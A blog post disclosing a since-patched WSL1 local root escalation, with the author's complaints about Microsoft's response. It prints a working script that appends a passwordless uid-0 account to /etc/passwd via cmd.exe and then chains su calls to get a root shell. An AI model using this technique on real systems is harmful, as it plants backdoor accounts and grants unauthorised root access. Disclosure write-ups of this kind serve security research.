Root Escalation Vulnerability in WSL1

NOTE: This vulnerability seems to have been silently patched by Microsoft since reaching out to them. Whether or not my reaching out to them was what triggered the fix, I can’t say for sure.

About a year ago I accidentally came across some strange filesystem properties in WSL1 that I was ultimately able to exploit to gain root permissions in the Ubuntu system I was running under WSL1. However, I imagine this could have been used in any Linux installation under the WSL1 subsystem.

Speaking of Microsoft, I reached out to three different members of the WSL team regarding any sort of bounty program for a WSL1 vulnerability regarding root escalation by means of the filesystem bridge, or if that was something they’d be interested in. None of said contacts wanted much to do with me. I was met with short responses, and ultimately ghosted entirely.

Microsoft has since patched this, so I guess if you can do it yourself, fuck the security community right?

So I figured I’d write about it here.

Before I begin, let me give you my unsolicited opinion: both WSL1 and 2 are terrible excuses for software and you should not be using them if you need a secure Linux installation. Just use bare-metal Linux, or a proper VM (WSL2 is not a proper VM[1][2]). We need to stop giving big corporations a free pass to spit out whatever nonsense they want while their employees yell at independent open-sourcers for not moving fast enough, all the while profiting off their work with little to no compensation.

With that, let’s begin.

The exploit is rather simple - so simple, in fact, that it was found by accident while writing some build scripts that utilized a Windows executable to generate a file in the Linux filesystem.

When a file is created from Windows in the Linux subsystem’s filesystem via the network mount, the file has User-level security and permissions on Windows, but root:root ownership and a+wrx permissions on Linux.

Why Microsoft decided this was a sane default concerns me.

All we have to do is tack on an entry in passwd with uid=0,gid=0 using the Windows console and we’re able to su; however, in my findings, I couldn’t execute just anything under su as the dummy root account, but the one thing I could run under su was su itself, and since I was uid=0 then I could simply run su root again and drop a shell as the real root account.

Putting it all together, let’s set up our elevation script with some boilerplate that makes sure we’re not masking any errors.

#!/usr/bin/env bash
set -euo pipefail

Then, let’s make sure we’re actually running under WSL (because it makes no sense to attempt this in any other environment).

function is_wsl() {
command -v wslpath &>/dev/null
if ! is_wsl; then
echo 'error: not wsl' >&2
exit 1

Next, we’ll create a temporary file that we can type.exe out from the Windows side. This file will contain our dummy root account entry that will be appended to passwd. Note the UID and GID fields being 0.

printf '%s\n' "lul::0:0::/:/bin/bash" > /tmp/passwd.lul

Now, we make use of WSL1’s automatic .exe handling and execute cmd.exe to append our entry to /etc/passwd. Since Window’s doesn’t understand Linux paths inherently, we pass them through the wslpath utility first.

cmd.exe /C type "$(wslpath -w /)tmp\\passwd.lul" \>\> "$(wslpath -w /)etc\\passwd"

A little cleanup.

rm /tmp/passwd.lul

Finally, we drop a root shell using the nested su:

su - lul /bin/sh -c /bin/su root

Creating a file using this method no longer creates the files as root, but as the running user within the linux subsystem, which effectively patched everything up. That being said, I can almost guarantee you this was abused in some fashion, maliciously or not.

I’m a little annoyed that Microsoft didn’t take my attempt to report seriously, but still found it important enough internally to investigate and fix it. Now with all of the shit coming out about WSL2 being utter garbage, it’s safe to say that WSL is, overall, a very failed experiment - which says something about NT, which was designed exactly for this purpose.

I suppose I’m happy it’s patched, but still leaves a really shit taste in my mouth.

- Alto